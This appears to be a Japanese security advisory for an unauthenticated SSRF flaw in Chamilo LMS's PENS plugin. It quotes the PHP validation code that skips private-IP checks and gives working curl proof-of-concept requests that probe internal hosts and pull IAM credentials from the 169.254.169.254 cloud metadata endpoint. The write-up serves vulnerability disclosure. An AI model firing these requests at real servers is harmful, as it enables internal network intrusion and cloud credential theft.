
未認証のSSRF in Chamilo LMS via PENSプラグイン(pens.php)— CVSS 7.5
深刻度: 高(CVSS 7.5)
CWE: CWE-918(サーバーサイドリクエストフォージェリ)
影響を受けるバージョン: chamilo/chamilo-lms 2.x(コミットaf6b7002以前)
アドバイザリ: GHSA-g2xj-4cch-j276
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160
PENS(Package Exchange Notification Services)プラグインのエンドポイント public/plugin/Pens/pens.php は認証なしでアクセス可能であり、パッケージのダウンロードとコールバック通知の両方でユーザー制御のURLを受け入れます。URL検証関数はスキームとホストの存在をチェックしますが、プライベートIPフィルタリングは一切行わないため、認証不要のSSRFにより内部ネットワークやクラウドメタデータサービスへのアクセスが可能になります。
Chamiloの install.ajax.php でCVE-2026-33715を発見した後、ネットワーク副作用を持つ他の認証不要エンドポイントがないかコードベースの監査を続けました。PENSプラグイン(public/plugin/Pens/)が目に留まりました。PENSはレガシーなeラーニングコンテンツ配信プロトコルであり、外部URLからのパッケージ取得と外部サーバーへのコールバック送信を伴います — どちらも典型的なSSRFの攻撃面です。
PensProcessor.php を読み、URL検証ロジックを探しました。isAllowedDownloadUrl() と isAllowedCallbackUrl() はどちらもスキーム(http/https)と空でないホストをチェックするだけで、そこで終わっています。RFC 1918フィルタリングも、ループバックチェックも、リンクローカルチェックもありません。コメントにはホストチェック後に「returns true」とあるだけで、SSRFを考慮せずに書かれたことが明らかでした。
以前のChamilo CVEとの違いは、2つの独立したSSRFベクトルがあることです — 1つはパッケージ取得用(サーバーが攻撃者制御のURLからファイルを取得)、もう1つはコールバック用(サーバーが攻撃者制御のエンドポイントにPOST送信)です。コールバックベクトルは内部サービスの応答を外部に持ち出すのに特に有用です。サーバーが指定した任意のURLにPENSステータスデータをPOST送信し、応答の解析も制御できるためです。
クラウド環境では、169.254.169.254 メタデータエンドポイントに両方のベクトルから到達可能です。
ファイル: public/plugin/Pens/lib/PensProcessor.php
2つの異なるSSRFベクトル:
ベクトル1 — パッケージURL取得(376行目、138行目):
private function isAllowedDownloadUrl(string $url): bool
{
$parts = parse_url($url);
$scheme = strtolower((string) ($parts['scheme'] ?? ''));
if (!in_array($scheme, ['http', 'https'], true)) { return false; }
$host = strtolower((string) ($parts['host'] ?? ''));
if ('' === $host) { return false; }
return true; // ← プライベートIPチェックなし
}
// その後curlで取得:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);
ベクトル2 — コールバックSSRF(318行目): receipt および alerts パラメータで、サーバーがPOSTコールバックを送信するURLを指定します — 同じく検証が欠落しています。
isAllowedDownloadUrl() と isAllowedCallbackUrl() は、URLがhttp/httpsスキームを持ち、ホストが空でないことだけを検証します。RFC 1918プライベートレンジ(10.x、172.16.x、192.168.x)、ループバック(127.x)、リンクローカル(169.254.x — クラウドメタデータ)、およびIPv6相当のアドレスはすべて受け入れられます。
# ベクトル1: package-url経由で内部ネットワークをプローブ
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://192.168.1.1:80/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test-123" \
-d "client=test" \
-d "system-user=test"
# AWSメタデータエンドポイント
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
# ベクトル2: コールバックSSRF — サーバーが攻撃者制御の内部エンドポイントにPOST送信
curl -X POST "http://<target>/plugin/Pens/pens.php" \
-d "pens-command=collect-package" \
-d "package-url=http://example.com/legit.zip" \
-d "receipt=http://10.0.0.50:8080/internal-endpoint" \
-d "package-format=SCORM-2004-3rd" \
-d "package-id=test" \
-d "client=test" \
-d "system-user=test"
169.254.169.254 経由でIAM認証情報を取得可能注: これはCVE-2022-27426(social/linksツールのSSRF)とは異なります — コードパスもプラグインも異なり、認証不要です。